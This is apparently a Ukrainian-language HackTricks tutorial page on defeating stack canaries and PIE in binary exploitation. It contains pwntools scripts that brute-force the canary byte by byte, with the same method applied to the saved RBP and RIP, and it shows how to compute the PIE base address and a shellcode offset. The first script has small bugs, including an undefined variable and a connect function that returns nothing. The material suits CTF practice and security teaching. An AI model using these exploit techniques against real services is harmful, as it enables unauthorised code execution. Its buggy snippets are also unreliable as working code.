mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
168 lines
13 KiB
Markdown
168 lines
13 KiB
Markdown
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||
|
||
</details>
|
||
|
||
|
||
**Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
|
||
|
||
![](<../../.gitbook/assets/image (144).png>)
|
||
|
||
{% hint style="info" %}
|
||
Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію.\
|
||
Однак ви можете вручну помітити це, якщо ви виявите, що значення зберігається в стеку на початку виклику функції і це значення перевіряється перед виходом.
|
||
{% endhint %}
|
||
|
||
# Brute force Canary
|
||
|
||
Найкращий спосіб обійти просту канарейку - це якщо бінарний файл є програмою, яка **розгалужує дочірні процеси кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовуватиметься та сама канарейка**.
|
||
|
||
Тоді найкращий спосіб обійти канарейку - це просто **перебрати її посимвольно**, і ви можете визначити, чи був вірний вгаданий байт канарейки, перевіривши, чи програма впала, чи продовжує свій звичайний хід. У цьому прикладі функція **перебирає 8 байтів канарейки (x64)** і розрізняє між правильно вгаданим байтом та невірним байтом, просто **перевіряючи**, чи **відправлена відповідь** сервером (інший спосіб у **іншій ситуації** може бути використання **try/except**):
|
||
|
||
## Приклад 1
|
||
|
||
Цей приклад реалізований для 64-бітної системи, але може бути легко реалізований для 32-бітної системи.
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
## Приклад 2
|
||
|
||
Це реалізовано для 32-бітної системи, але це можна легко змінити на 64 біти.\
|
||
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та полезне навантаження.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
# Друк Канарейки
|
||
|
||
Ще один спосіб обійти канарейку - це **роздрукувати її**. Уявіть ситуацію, де **програма вразлива** на переповнення стеку може виконати функцію **puts**, яка **вказує** на **частину** переповненого стеку. Атакуючий знає, що **перший байт канарейки є нульовим байтом** (`\x00`), а решта канарейки - **випадкові** байти. Потім атакуючий може створити переповнення, яке **перезапише стек до першого байту канарейки**.\
|
||
Потім атакуючий **викликає функціональність puts** посередині політря, яка **роздрукує всю канарейку** (крім першого нульового байту).\
|
||
З цією інформацією атакуючий може **створити та відправити нову атаку**, знаючи канарейку (у тій самій сесії програми)
|
||
|
||
Очевидно, що ця тактика дуже **обмежена**, оскільки атакуючому потрібно мати можливість **роздрукувати** **вміст** свого **політря** для **екстракції** **канарейки**, а потім мати можливість створити нове політря (у **тій самій сесії програми**) та **відправити** **справжнє переповнення буфера**.\
|
||
Приклад CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||
|
||
# PIE
|
||
|
||
Для обходу PIE вам потрібно **витікати деяку адресу**. І якщо у бінарному файлі не витікає жодна адреса, то найкраще зробити це - **перебором RBP та RIP, збережених у стеці** у вразливій функції.\
|
||
Наприклад, якщо бінарний файл захищений як **канарейкою**, так і **PIE**, ви можете почати перебирати канарейку, потім **наступні** 8 байтів (x64) будуть збереженим **RBP**, а **наступні** 8 байтів будуть збереженим **RIP**.
|
||
|
||
Щоб перебрати RBP та RIP з бінарного файлу, ви можете зрозуміти, що правильний вгаданий байт є правильним, якщо програма виводить щось або просто не крашиться. Та **сама функція**, яка надана для перебору канарейки, може бути використана для перебору RBP та RIP:
|
||
```python
|
||
print("Brute-Forcing RBP")
|
||
base_canary_rbp = get_bf(base_canary)
|
||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||
print("Brute-Forcing RIP")
|
||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||
```
|
||
## Отримання базової адреси
|
||
|
||
Останнє, що вам потрібно зробити, щоб перемогти PIE, це розрахувати **корисні адреси з витікших** адрес: **RBP** та **RIP**.
|
||
|
||
З **RBP** ви можете розрахувати **де ви пишете свій shell в стеку**. Це може бути дуже корисно, щоб знати, де ви збираєтеся записати рядок _"/bin/sh\x00"_ всередині стеку. Щоб розрахувати відстань між витікшим RBP та вашим shellcode, ви можете просто встановити **точку зупинки після витоку RBP** та перевірити **де знаходиться ваш shellcode**, після цього ви можете розрахувати відстань між shellcode та RBP:
|
||
```python
|
||
INI_SHELLCODE = RBP - 1152
|
||
```
|
||
З **RIP** ви можете обчислити **базову адресу PIE-бінарного файлу**, яка вам знадобиться для створення **дійсного ланцюжка ROP**.\
|
||
Щоб обчислити базову адресу, просто виконайте `objdump -d vunbinary` та перевірте розібрані останні адреси:
|
||
|
||
![](<../../.gitbook/assets/image (145).png>)
|
||
|
||
У цьому прикладі ви можете побачити, що для виявлення всього коду потрібно лише **1 байт та пів**. Тоді базова адреса в цій ситуації буде **витікати з RIP, але закінчуватися на "000"**. Наприклад, якщо витік _0x562002970**ecf**_, базова адреса буде _0x562002970**000**_.
|
||
```python
|
||
elf.address = RIP - (RIP & 0xfff)
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Інші способи підтримки HackTricks:
|
||
|
||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||
|
||
</details>
|